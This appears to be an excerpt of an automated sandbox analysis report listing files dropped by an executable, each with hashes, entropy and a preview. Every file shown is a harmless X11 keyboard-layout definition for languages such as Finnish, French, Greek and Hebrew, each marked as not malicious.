Preview:	// Most keyboards have the EuroSign engraved on the E key.partial.xkb_symbols "e" {. key <AD03>.{ [ NoSymbol, NoSymbol, EuroSign,.NoSymbol ].};.};..// Many Apple keyboards have the EuroSign engraved on the 2 key.partial.xkb_symbols "2" {. key <AE02>.{ [ NoSymbol, NoSymbol, EuroSign,.NoSymbol ].};.};..// Some keyboards have the EuroSign engraved on the 4 key.partial.xkb_symbols "4" {. key <AE04>.{ [ NoSymbol, NoSymbol, EuroSign,.NoSymbol ].};.};..// Many keyboards have the EuroSign engraved on the 5 key.partial.xkb_symbols "5" {. key <AE05>.{ [ NoSymbol, NoSymbol, EuroSign,.NoSymbol ].};.};.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\fi

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	13141
Entropy (8bit):	3.426060398411498
Encrypted:	false
SSDEEP:	192:CM9cLvXeS/BcvfSlu8/9/bQS3lLOdUztsUPIr:CM+LvOcBcvfSQYbQSLOdUztsUPIr
MD5:	3B1C3B4BDEF2933BF8ABF4414C7D89B8
SHA1:	6AB944F727B7E3D67334A0FC5386B49CF88D3F56
SHA-256:	D8CE03731E8E600A1B42770C44CD51673AF04332180AA722228BBA4D50CD69F6
SHA-512:	C99F85089B721591524A82528B6D27822473E2C0F156F92C4AA9606AB8AD99417B58EF9AD4D58FFB9FE36A9016905E4D389ADCB1AE4BAB41CDA113FA89ABEE09
Malicious:	false
Preview:	//.// X keyboard maps for Finland.//.// SFS 5966 / Kotoistus keymap created by Troy Korjuslommi.// Classic keymap based on traditional by Marko Myllynen.// Eliminate deadkeys alternative sent by Linus Torvalds.//..default partial alphanumeric_keys.xkb_symbols "kotoistus" {.. // Official keymap for Finland based on SFS 5966 standard. //. // This keymap implements all the functionality of Annex 1. // of the standard and additionally defines the following to. // allow entering these characters with keyboards without LSGT.. //. // AE08+4, U+003C : LESS-THAN SIGN (less). // AE09+4, U+003E : GREATER-THAN SIGN (greater). // AD08+4, U+007C : VERTICAL LINE (bar). //. // Annex 3 of the standard is implemented in fi_FI.UTF-8/Compose.. name[Group1]="Finnish";.. key <TLDE> { [ section, onehalf, dead_stroke, NoSymbol ] };. key <AE01> { [ 1, exclam, NoSymbol, exclamdown

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\fo

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1998
Entropy (8bit):	4.422604163890561
Encrypted:	false
SSDEEP:	24:aT608Z1vjpGoL+UBByCB/DI1jbfH91ozMq/bc4buP+YAWz1gy8O2Ie6ko8lYaGCu:S8ZDG4z362YiEEoeuc8r
MD5:	13D625AB7B8C1198FEB1364A76411C51
SHA1:	2F4C95B68CBC91259488750858352BD36978C2C2
SHA-256:	4B128530740288764BA2F326307600AF5CA29815A1C2762F1E3339F23DAD3595
SHA-512:	DAB293AC49392CC3E664C924B69BDAE20B879CFB39311A9E5300A10DD94580107B058E879B9B4C5BB8E983B5483890F9DCE63664DB8C18F50BF7299C8E788B5A
Malicious:	false
Preview:	default partial alphanumeric_keys.xkb_symbols "basic" {.. include "latin(type2)".. name[Group1]= "Faroese";.. key <TLDE>.{ [ onehalf, section, threequarters, paragraph ].};. key <LSGT>.{ [ less, greater, backslash, notsign ].};. key <SPCE>.{ [ space, space, nobreakspace, nobreakspace ] };.. key <AE05>.{ [ 5, percent, NoSymbol, cent ] };. key <AE06>.{ [ 6, ampersand, yen, NoSymbol ] };. key <AE11>.{ [ plus, question, plusminus, questiondown ] };. key <AE12>.{ [dead_acute, dead_grave, bar, brokenbar ] };.. key <AB03>.{ [ c, C, copyright, NoSymbol ] };. key <AB10>.{ [ minus, underscore, hyphen, macron ] };.. key <AC03>.{ [ d, D, eth, ETH ] };. key.<AC10>.{ [ ae,. AE.] };. key <AC11>.{ [ oslash, Ooblique .] };.. key <AD08>.{ [ i, I ]

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\fr

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	72401
Entropy (8bit):	4.612362025826931
Encrypted:	false
SSDEEP:	768:4HBG9qcenc0HxpX20T1lOs4IemVlWhSZURCOf7LeaLXu5oTQDxHLmrMzU0xgx:4HBG9qPLV1lOs4IemV4ZNLVLX27SwzWx
MD5:	FD3F8BE37C39EBEE934285A966343E5E
SHA1:	4778FAEE0EBB32193B5388629E16F64746FC756A
SHA-256:	9537450857BC2281AEBE931DF4270E95FD578D0A7DAD809519B45E013FE01A8F
SHA-512:	7F040AFA072DA5C31AF81D9C3BA09C32831BA29756EA87BEFAAB486F066AA526106FB7809CCD4A27128E8B3D38AAEC28298FEC3BB650397F38030BD2E39D607D
Malicious:	false
Preview:	default partial alphanumeric_keys.xkb_symbols "basic" {.. include "latin".. name[Group1]="French";.. key <AE01>.{ [ ampersand, 1, onesuperior, exclamdown ].};. key <AE02>.{ [ eacute, 2, asciitilde, oneeighth ].};. key <AE03>.{ [ quotedbl, 3, numbersign, sterling ].};. key <AE04>.{ [apostrophe, 4, braceleft, dollar ].};. key <AE05>.{ [ parenleft, 5, bracketleft, threeeighths ].};. key <AE06>.{ [ minus, 6, bar, fiveeighths ].};. key <AE07>.{ [ egrave, 7, grave, seveneighths ].};. key <AE08>.{ [underscore, 8, backslash, trademark ].};. key <AE09>.{ [ ccedilla, 9, asciicircum, plusminus ].};. key <AE10>.{ [ agrave, 0, at, degree ].};. key <AE11>.{ [parenright, degree, bracketright, questiondown ].};. key <AE12>.{ [ equal, plus, braceright, dead_ogonek ].};..

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\fujitsu_vndr\jp

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4112
Entropy (8bit):	5.189498184304476
Encrypted:	false
SSDEEP:	96:zCzUqYQHKQgrTLckMrcf+Ke4GEKEUC/+UXEWzCZyQNI4EuACXGkf9JdbhVqAdfzL:8YQHHgrTtB3K7oQNlrKinl
MD5:	83AF9D818F26BFE898E19AC66016593D
SHA1:	697E6CDC2018D4E29FE4C438D4B935163FEAE492
SHA-256:	A1C866EE6589732647F4AF3ED33B0DFDC4170128FF814EA15DF96996E37855D3
SHA-512:	4ABF31985E7B4A999ED7E27EA6A2E3D44979BB61EBD01042DECDBFD45A340769907D157B6FDAC53892E00374F6341729DCF9D737DCAAD8D15E342B7AA76E13F2
Malicious:	false
Preview:	//.//Copyright 1996, 1998 The Open Group.//.//Permission to use, copy, modify, distribute, and sell this software and its.//documentation for any purpose is hereby granted without fee, provided that.//the above copyright notice appear in all copies and that both that.//copyright notice and this permission notice appear in supporting.//documentation..//.//The above copyright notice and this permission notice shall be.//included in all copies or substantial portions of the Software..//.//THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.//EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.//MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..//IN NO EVENT SHALL THE OPEN GROUP BE LIABLE FOR ANY CLAIM, DAMAGES OR.//OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,.//ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR.//OTHER DEALINGS IN THE SOFTWARE..//.//Except as contained in this notice, the name of

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\fujitsu_vndr\us

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4383
Entropy (8bit):	5.113045958520788
Encrypted:	false
SSDEEP:	48:aritctUOUqYQHEssz4INW3Z2rmUaOYCFHcNM8phGt+MyIGX41Bv2uwtgQf/1Bawt:zCzUqYQHKQgrTLjcNMghGQoBeDgCa2
MD5:	04918E26AA1C54E973EA1D454B983FF9
SHA1:	15B6D72A6BEEB07F6AAFFE120E98513610EEF49B
SHA-256:	C78E2073144844A8B637F93B9EC465B8BA6FE47C6E060108773AF45EB8FBFA6C
SHA-512:	24A5C3E87E0F74CE4971FC0BB0F1E2B90A840F8B9C2F400A90638F974FB6B52BEF41AC942790CDA9A3CA9236978520224C9FACB1EABCA41BFA365D03B94F12D1
Malicious:	false
Preview:	//.//Copyright 1996, 1998 The Open Group.//.//Permission to use, copy, modify, distribute, and sell this software and its.//documentation for any purpose is hereby granted without fee, provided that.//the above copyright notice appear in all copies and that both that.//copyright notice and this permission notice appear in supporting.//documentation..//.//The above copyright notice and this permission notice shall be.//included in all copies or substantial portions of the Software..//.//THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.//EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.//MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..//IN NO EVENT SHALL THE OPEN GROUP BE LIABLE FOR ANY CLAIM, DAMAGES OR.//OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,.//ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR.//OTHER DEALINGS IN THE SOFTWARE..//.//Except as contained in this notice, the name of

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\gb

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	7624
Entropy (8bit):	4.54427392091142
Encrypted:	false
SSDEEP:	192:XrYUK2XeQHa9XIU1/JoMi+YO2nPty0NSmdqrYpRsszAhb2D:XrYUHXe2a9J1honD7PPNSmdqrYpRssug
MD5:	121258666DE9B9C1AD29371473CFE4D9
SHA1:	159D78FE5E4953B142A31655FB640D50B4308E8F
SHA-256:	6BF0B66F6683DF526D1232A883A18597A87E9340B823CE00B0AEB5257B6E475C
SHA-512:	AC53200972677EAE32BF4EFF717AA9B70322BDB6032A2934844DB65DAF1FB53AEFC783B8317EB91B93F511CBBD6C2A18B99BEAC53D3CA41F76D7C05233E923B6
Malicious:	false
Preview:	// based on a keyboard map from an 'xkb/symbols/gb' file..default partial alphanumeric_keys.xkb_symbols "basic" {.. // Describes the differences between a very simple en_US. // keyboard and a very simple U.K. keyboard layout defined by. // the SVR4 European Language Supplement and sometimes also. // known as the IBM 166 layout... include "latin".. name[Group1]="English (UK)";.. key <AE02>.{ [ 2, quotedbl, twosuperior, oneeighth ].};. key <AE03>.{ [ 3, sterling, threesuperior, sterling ].};. key <AE04>.{ [ 4, dollar, EuroSign, onequarter ].};.. key <AC11>.{ [apostrophe, at, dead_circumflex, dead_caron].};. key <TLDE>.{ [ grave, notsign, bar, bar ].};.. key <BKSL>.{ [numbersign, asciitilde, dead_grave, dead_breve ].};. key <LSGT>.{ [ backslash, bar, bar, brokenbar ].};.. include "level3(ralt_switch_multikey)".};..partial alphanumeric_keys .xkb_sy

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\ge

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	12000
Entropy (8bit):	4.426818456308232
Encrypted:	false
SSDEEP:	192:z5FohRWaWDFhRgNk5KUpkzWcn1Jr4hrU2q2Jey9FhZVOv8CopC1xWDkqBAy78u:z5Foh8aGnRgNk5LpkzJ1Jr4hrU/25nhd
MD5:	3C55974FC1B5F6B14A792205866EA6FD
SHA1:	9777A5E549282412AC7789994CF034E947B05857
SHA-256:	8D12494309886E14D9783739C21EE2E397B716CBB5F8201B432654266CAB1B0F
SHA-512:	FFAA33E4332D8279E1764F5625026951C2B4CC7AEC59E0434BFD865779CFCA9C561E8F976DCBE38080501BC59D914E8B97E86781401A9BB63400FF349A330AD1
Malicious:	false
Preview:	// Georgian Keyboard Layouts by Aiet Kolkhi <aietkolkhi@gmail.com>.// Full layout descriptions available at http://www.gakartuleba.org/layouts/.//.// This includes the following keyboard layouts: Georgian QWERTY; Georgian Ergonomic;.// Georgian MESS; Georgian AZERTY Tskapo; Georgian Russian..//.// Layouts include Georgian Mkhedruli alphabeth; most layouts also include some special.// and ancient characters (like Fi, Yn, Elifi, Turned Gan and Ain). Layouts do not.// include Georgian Asomtavruli or Georgian Khutsuri alphabeths which are also present.// in Unicode..//.// Georgian Typewriter no longer supported, as it is no longer used in Georgia..//.// some layouts based on Georgian keyboard map, in the so called "latin" layout..// 1999, Pablo Saratxaga <srtxg@chanae.alphanet.ch>.//..default partial alphanumeric_keys.xkb_symbols "basic" {.. name[Group1]= "Georgian";.. key <TLDE> { [ 0x0100201e, 0x0100201c, 0x0100201e, asciitilde ] };. key <AE01> { [ 1, exclam, apostrophe ] };.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\gh

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	6570
Entropy (8bit):	4.565512907378805
Encrypted:	false
SSDEEP:	96:oIdQ1FpoOR8EXy9ovziVHfzcI9ZssGWXga:oaQ1FpxKEXcovuVh9ZYWwa
MD5:	15F683ABAC75013ACAF48CB0575DFF43
SHA1:	76B9FC7F4CCE594069D7B669637A7209C900E787
SHA-256:	FD08BB98F11B1F0F98282D92A207EAAE1F9B6E86846EBD690B75FDC636BD6F6C
SHA-512:	D8A5CC67BAE269B96F84F87E4FFCF04C961BDB171E7C4B37AF5514856C3102B66A3DFC23E13AF8D5DA1E9FCB60E9AFB985A3C82A69FC509E07F04B3BF9296344
Malicious:	false
Preview:	default partial alphanumeric_keys.xkb_symbols "basic" {.. include "us".. name[Group1]= "English (Ghana)";.. key <AE04> { [ 4, 0x010020B5, dollar, cent ] };. include "level3(ralt_switch)".};..partial alphanumeric_keys.xkb_symbols "akan" {. include "gh(basic)".. name[Group1]= "Akan";.. key <AD01> { [ 0x0100025B, 0x01000190, q, Q ] };. key <AB02> { [ 0x01000254, 0x01000186, x, X ] }; .};..partial alphanumeric_keys.xkb_symbols "ga" {. include "gh(basic)".. name[Group1]= "Ga";.. key <AD01> { [ 0x0100025B, 0x01000190, q, Q ] };. key <AB02> { [ 0x01000254, 0x01000186, x, X ] }; . key <AB03> { [ 0x0100014B, 0x0100014A, c, C ] }; .};..partial alphanumeric_keys.xkb_symbols "ewe" {. include "gh(basic)".. name[Group1]= "Ewe";.. key <AD01> { [ 0x0100025B, 0x01000190, q, Q ] };. key <AB03> { [ 0x0100014B, 0x0100014A,

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\gn

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2357
Entropy (8bit):	4.649198059707925
Encrypted:	false
SSDEEP:	48:lzuuj8boQxbvyYCz6odragAoIG15z4RyhqqsquHjq/Y:Zuuwbo8bvyY86odrag1IG15ER4z0q/Y
MD5:	D14B3AECCF1760123A5D7B4A70E01D9A
SHA1:	100C91233E9B259F7790ED687567A8D65B998268
SHA-256:	EDB469E6602D10E01B46576A08C5FBAC777CBA951F24CC1596BF75C4E4FE27B2
SHA-512:	66AEF5A560C95DB5DCCE3B9B177BB8638E9F208F04264A1F6F5539A4B214095CEA9597D355CF848030346E4B08002A05C987CB923E8D462CB57489D7E932C28B
Malicious:	false
Preview:	// based on us_intl keyboard map file and a Sinhala keyboard map.// version 0.3..default partial alphanumeric_keys.xkb_symbols "basic" {.. name[Group1]="French (Guinea)";.. key <AE01>.{ [0x010007F1, 0x010007C1 ].};. key <AE02>.{ [0x010007EB, 0x010007C2 ].};. key <AE03>.{ [0x010007F5, 0x010007C3, numbersign, sterling ].};. key <AE04>.{ [0x010007F4, 0x010007C4, 0x01002E1C, dollar ].};. key <AE05>.{ [ parenleft, 0x010007C5, 0x01002E1D.... ].};. key <AE06>.{ [ minus, 0x010007C6, bar.... ].};. key <AE07>.{ [0x010007EC, 0x010007C7, grave.... ].};. key <AE08>.{ [0x010007FA, 0x010007C8, backslash.... ].};. key <AE09>.{ [0x010007ED, 0x010007C9, asciicircum, plusminus ].};. key <AE10>.{ [0x010007EE, 0x010007C0, at, degree ].};. key <AE11>.{ [parenright ].};. key <AE12>.{ [ equal, plus, braceright ].};.. key <AD01>.{ [0x010007CA ].};. key <AD02>.{ [0x010007E0, less ].};. key <AD03>.{ [0

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\gr

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	11312
Entropy (8bit):	4.841953139477908
Encrypted:	false
SSDEEP:	192:SESMdja101VfocmAW9M5kvTnfpR6zY7xBOpdRC7vd+JzsGl:XS0ja01VfocmAW9akv772zRW1+JIGl
MD5:	EA90883D59CEADE7F4D93D4C7ECE922D
SHA1:	636BAE707341CE7AE461AB8452D4B4B136D30D3B
SHA-256:	45EC4D61EE857BC04DCB70BEBCA33A2550D45151FA0E4A614FB7BDAD5EBC0FBE
SHA-512:	2B8B2A90CB0007C91D5715A2BCE1C879EB204AA8B9BD1FF97FEE420124EE0FC2BC30E84C5C5DF6A2F5DE29251A734C477554287F51F8EDB8C9FB2AB052053509
Malicious:	false
Preview:	// Hellenic keyboard map for X.org.//.// Original version:.// Kostas Gewrgiou <gewrgiou@imbc.gr>.// Heavily modified and maintained by:.// Vasilis Vasaitis <vvas@hal.csd.auth.gr>.// Originally converted to single group form by:.// Ivan Pascal <pascal@info.tsu.ru>..default partial alphanumeric_keys alternate_group.xkb_symbols "basic" {..include "gr(simple)"...name[Group1] = "Greek";...include "eurosign(e)"..include "eurosign(5)"..include "kpdl(comma)"..include "level3(ralt_switch)"...key <AB01> { [ NoSymbol, NoSymbol, U037D, U03FF ] };..key <AB02> { [ NoSymbol, NoSymbol, rightarrow, leftarrow ] };..key <AB03> { [ NoSymbol, NoSymbol, copyright ] };..key <AB04> { [ NoSymbol, NoSymbol, U03D6 ] };..key <AB05> { [ NoSymbol, NoSymbol, U03D0 ] };..key <AB06> { [ NoSymbol, NoSymbol, U0374, U0375 ] };..k

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\group

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	11606
Entropy (8bit):	5.119119233754872
Encrypted:	false
SSDEEP:	192:yUTqUC3PUmHUXIgpZ2M4HQFjvBsgVF0iP0eh0WW3010f0DWwja6ZTd0bnIx:vTnCsm0X/gg70iP0eh0W0010f0dJEbIx
MD5:	FD95D7DCD7E9B2A323EE37F1C5DA7663
SHA1:	964A8403C36278C2406F135A90671AB18684D227
SHA-256:	83C9951322F6C9D2D386BFEFA22FB7A4DA92E86143BFEABBDD10B79387AAD56D
SHA-512:	029EBAB6933586644961286ACC861EA55BAEACAEA0E5C0CF77291057F7ACE29608D514CE46C56623339660712194A00695B2ADCEE351B5F89089DB40C19A3D41
Malicious:	false
Preview:	// using the group(switch) map, the right alt key temporarily chooses .// the second keyboard group (until it is released)..//.partial modifier_keys .xkb_symbols "switch" {. key <RALT>.{ ...symbols[Group1]= [.Mode_switch, Multi_key .],..virtualMods= AltGr. };.};..// using the group(lswitch) map, the left alt key temporarily chooses.// the second keyboard group (until it is released)..//.partial modifier_keys .xkb_symbols "lswitch" {. key <LALT>.{ ...symbols[Group1]= [.Mode_switch, Multi_key .],..virtualMods= AltGr. };.};...// using the group(win_switch) map, both Windows'logo keys temporarily.// choose the second keyboard group (until release). If you use this.// map, you would declare you keyboard as pc101 or pc102 instead of.// pc104 or pc105..partial modifier_keys.xkb_symbols "win_switch" {. include "group(lwin_switch)". include "group(rwin_switch)".};..// using the group(lwin_switch) map, the left Windows' logo key.// temporarily chooses the second keyboard group

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\hp_vndr\us

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3321
Entropy (8bit):	5.195908936871523
Encrypted:	false
SSDEEP:	48:aritctUOUqYQHEssz4INW3Z2rmUaOYCFvIboeYS31ltP0StO6/XBarS:zCzUqYQHKQgrTLkVYSFlSmO+a2
MD5:	575F2812F399CA7A3F98CDEA900FA445
SHA1:	E8FFED4A0F8D368BE7A72FD222D7BFF2A4FC60BA
SHA-256:	A7F93AF2035754867DE8BD129D14CB4F19F153CCA52C88BE3F71601501CBC9FC
SHA-512:	B9E676E33776EF178FE40227D5300130C4BF25B6A636FB709A94EDF1342A94D1E987E62EBE2B038E97EE432222CA46123FF85BF8CC03340DC7F314AA2A366716
Malicious:	false
Preview:	//.//Copyright 1996, 1998 The Open Group.//.//Permission to use, copy, modify, distribute, and sell this software and its.//documentation for any purpose is hereby granted without fee, provided that.//the above copyright notice appear in all copies and that both that.//copyright notice and this permission notice appear in supporting.//documentation..//.//The above copyright notice and this permission notice shall be.//included in all copies or substantial portions of the Software..//.//THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.//EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.//MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..//IN NO EVENT SHALL THE OPEN GROUP BE LIABLE FOR ANY CLAIM, DAMAGES OR.//OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,.//ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR.//OTHER DEALINGS IN THE SOFTWARE..//.//Except as contained in this notice, the name of

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\hr

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2502
Entropy (8bit):	4.45071525807134
Encrypted:	false
SSDEEP:	24:aT60zfdmRViJxIvYAgwKqk5fCLqg6ajNN8U2gH4W4bJYRl5jfDJkD6DqqD4UhABp:Szlm/YLpV0uY5RR+QsIVeB9tBr7
MD5:	0CC81F14692F5E9BD121AD6B4955DDE7
SHA1:	AF1455E0DA34C8B36D6DB094C95391F9F8C49220
SHA-256:	7F765AF6F4015A975C4BA565A0A0C5883100A5787607CFC89E05A912DEBD7E3D
SHA-512:	0C42869D01AD4C194A1DAE8591968C2E51E348ACC08F5AAFE871CA749BAA0FF10512B4F0CF19B18F875B12482875182686B58DCFDA276DB8A61636613EEDC847
Malicious:	false
Preview:	default partial alphanumeric_keys.xkb_symbols "basic" {.. name[Group1]="Croatian";.. include "rs(latin)".. // Redefine these keys to match XFree86 Croatian layout. key <AE01> { [ 1, exclam, asciitilde, dead_tilde ] };. key <AE03> { [ 3, numbersign, asciicircum, dead_circumflex ] };. key <AE05> { [ 5, percent, degree, dead_abovering ] };. key <AE07> { [ 7, slash, grave, dead_grave ] };. key <AB10> { [ minus, underscore, dead_belowdot, dead_abovedot ] };.};..partial alphanumeric_keys .xkb_symbols "us" {.. name[Group1]= "Croatian (US keyboard with Croatian letters)";.. include "us".. key <AD01> { [ any, any,.backslash. ] };. key <AD02> { [ any, any,.bar . ] };. key <AD03> { [ any, any, .EuroSign . ] };. key <AD06> { [ any, any,.z,..Z ] };. key <AD11> { [ any, any, .scaron,..Scaron ] };. key <AD12> { [ any,

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\hu

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	14615
Entropy (8bit):	4.496779504461942
Encrypted:	false
SSDEEP:	384:4I1PaHKaPeO1Bxe9NP/wScrEyrgE/wS0jEyros932rBX+uIVSUSrLroJIVSQKrLz:paH3T3QL7Y7sRmlO2p2BH
MD5:	444E7D119873FCE0F1D48AFD10D5D168
SHA1:	9CAE8CAA7C773C982ECA211B56CD12B7E3E3EEEC
SHA-256:	0B002BC567BF57A0BCE7260FE4E50935A64DC96C093E5E5A6084C62236FBD503
SHA-512:	A3479B7CABEBADFE5FEC4CF1B913713584FAD5027564AC0F84BCA3F12C7EE189F57122317A7E1F4AC1C26D5D0C88BD16B91C051AA15CFCF642243952A39C38F4
Malicious:	false
Preview:	// New style XKB layout for some widely used Hungarian keyboard layouts.//.// Based on old style 'xkb/symbols/hu".//.// (C) 2002-2004 So.s P.ter <sp@osb.hu>.// (C) 2010 Andras Timar <timar@fsf.hu>.//.// Permission is granted to anyone to use, distribute and modify.// this file in any way, provided that the above copyright notice.// is left intact and the author of the modification summarizes.// the changes in this header..//.// This file is distributed without any expressed or implied warranty..//.// Changes:.// 2004-04-17 - Moved to new style (only Unicode based layouts).// - Added consistent dead key support.// - Fixed abovedot.// - Added adiaeresis.// - Added EuroSign and cent symbol.// 2010-04-23 - Added doublelowquotemark.// - Added rightdoublequotemark.// - Added endash.// 2010-05-13 - Added ellipsis...// Default layout.default partial.xkb_symbols "basic" {. include "hu(102_qwertz_comma_dead)". na

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\ie

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	20344
Entropy (8bit):	4.446919361891912
Encrypted:	false
SSDEEP:	384:Cqd8w1CiMyEWDNeZV6WHe6nCR/9iEW7l8cK0BHe6cmzXT60U0uWlUoxsV0tqe4YN:C+11eISnU/a00N+mzmV0uhV/e3TAmxz
MD5:	791BDF91B525EECC5F77D25504520BC4
SHA1:	4FDFEA6CC897A98A20E8E0E488C3248FA26CBC15
SHA-256:	1BFFC37227665F80B6568641D1E0953A377BA6897FCF44C8DCC604CE36375715
SHA-512:	1F72AAD9CF6CDEF9DE945485E839AC6C52619D40007502DD96D02BA30BB3092EFA3F12596ECDC79A5D2831A3EB3B7E2FC5F4936B01FD2D0F06BEF1DFE08AB874
Malicious:	false
Preview:	// Irish keyboard map..// Support for Irish (old and new orthography) and English.// Seamus O Ciardhuain <seoc@cnds.ucd.ie> (19 December 2002)..// The general idea is to provide the characters in ISO 8859-1,.// ISO 8859-15, ISO 8859-14, CP1252 and "Extended Latin-8"..// However, not all are accessible directly because there aren't.// enough keys; some need deadkeys to access them, others the .// "Multi_key" compose sequences...// Designed to be similar to the layouts used on Windows.// and the Macintosh...// Everything is in Group 1 to be compatible with the.// multi-layout keyboard support in XFree86 4.3...// The basic layout is a modern keyboard, but dotted consonants are.// accessible using a deadkey (AltGr+H or AltGr+W)..// If a proper Clo Gaelach keyboard is needed, then use the layout.// defined below as ie(CloGaelach), which gives dotted consonants.// without use of a deadkey....default partial alphanumeric_keys.xkb_symbols "basic" {.. // Modern keyboard for Irish and Engli

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\il

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16204
Entropy (8bit):	5.158820282050825
Encrypted:	false
SSDEEP:	384:fRLk79dY9qCXmpGLnAFmq21DKON/hzHQfWjCVc1HB6XRqeB2:fypaZRGu1p
MD5:	00856C35C83A6CB62DBE2DED82FF7F3A
SHA1:	96BF2F62E171824C48776D1EA2DBA307D0C69E56
SHA-256:	15A4DE56058F77B5EA32A582A308AA7AE87A8BE4BD4F26C7FE72CA430F545AB9
SHA-512:	DF7726D5EEE82BAF2280F466AE2D4E4EFA3212877269D21D7B4674497571FB869CCB80F04EEC18DFCB1F506F0C3A56CECFB897CDCF8484A79D3A922A5E8BB737
Malicious:	false
Preview:	// based on a keyboard map from an 'xkb/symbols/il' file..// This is a partial implemetation of the Israeli standard SI-1452.// It does not implement changes to the English layout ("Alt-English"), .// as I believe that it is not the job of this layout to modify the English.// layout..default partial alphanumeric_keys.xkb_symbols "basic" {. // uses the kbd layout in use in Israel... name[Group1]= "Hebrew";.. key <AD01> { [ slash,.Q..].};. key <AD02> { [ apostrophe,.W..].};. key <AD04> { [ hebrew_resh,.R..].};. key <AD05> { [ hebrew_aleph,T..] };. key <AD06> { [ hebrew_tet,.Y..] };. key <AD07> { [ hebrew_waw,.U..] };. key <AD08> { [ hebrew_finalnun,.I.] };. key <AD09> { [ hebrew_finalmem,.O.] };. key <AD10> { [ hebrew_pe,.P..].};.. key <AC02> { [ hebrew_dalet,S..] };. key <AC03> { [ hebrew_gimel,D..] };. key <AC04> { [ hebrew_kaph,.F..].};. key <AC05> { [ hebrew_ayin,.G..] };. key <AC06> { [

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\in

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	84386
Entropy (8bit):	4.752650710762884
Encrypted:	false
SSDEEP:	1536:O+p9cZTi56z040rIb9YzyLPYZLnQDFhpZkB57E:Z6Zqw
MD5:	56D79740DC307D49AD92D94841DF428D
SHA1:	D92ACFD87F11FD3FE1A0DBE6017C6DC45BDB5F95
SHA-256:	511738B23311C8257BA0969822966A80F13EDE8386193250F3D4EC6BE831D083
SHA-512:	A454AAB46117EDD3A6CFD51F010DD86EEF02CD0146FA88E063CFA87FAF27A59D5E29E05E00DA9729FD08355A083F685FED86B7C3EF369C35902D246BB2E6A4F3
Malicious:	false
